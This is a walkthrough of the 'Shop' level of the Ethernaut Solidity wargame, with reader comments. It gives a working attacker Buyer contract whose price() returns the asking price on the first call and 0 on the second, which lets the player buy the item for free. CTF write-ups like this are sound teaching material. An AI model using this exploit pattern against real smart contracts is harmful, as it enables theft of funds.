This is the level 21 of OpenZeppelin Ethernaut web3/solidity based game.
Pre-requisites
- Solidity view functions
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
player has to set price to less than it's current value.
The new value of price is fetched by calling price() method of a Buyer contract. Note that there are two distinct price() calls - in the if statement check and while setting new value of price. A Buyer can cheat by returning a legit value in price() method of Buyer during the first invocation (during if check) and returning any less value, say 0, during second invocation (while setting price).
But, we can't track the number of price() invocation in Buyer contract because price() must be a view function (as per the interface) - can't write to storage! However, look closely new price in buy() is set after isSold is set to true. We can read the public isSold variable and return from price() of Buyer contract accordingly. Bingo!
Write the malicious Buyer in Remix:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IShop {
function buy() external;
function isSold() external view returns (bool);
function price() external view returns (uint);
}
contract Buyer {
function price() external view returns (uint) {
bool isSold = IShop(msg.sender).isSold();
uint askedPrice = IShop(msg.sender).price();
if (!isSold) {
return askedPrice;
}
return 0;
}
function buyFromShop(address _shopAddr) public {
IShop(_shopAddr).buy();
}
}
Get the address of Shop:
contract.address
// Output: <your-instance-address>
Now simply call buyFromShop of Buyer with <your-instance-address> as only param.
The price in Shop is now 0. Verify by:
await contract.price().then(v => v.toString())
// Output: '0'
Free buy!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (2)
The instructions worked for me, without understanding why.
In the first call of:
we are doing
100 >= price && !falsewhich reads astrue && truewhich returnstrueBut the second time we are doing
0 >= price && !truewhich reads asfalse && falsewhich returnsfalseHow did we then pass the if-statement?
Note that we area not calling
buy()ofShoptwo times. Soifis not executed two times. But the_buyer.price()is called two times. One at theifstatement and one in the body ofif.The first time (in
ifcheck)_buyer.price()is calledisSoldisfalseand_buyer.price()returns asked price. But at second time call (inifbody)isSoldis set totruebefore_buyer.price()is called and so_buyer.price()returns0.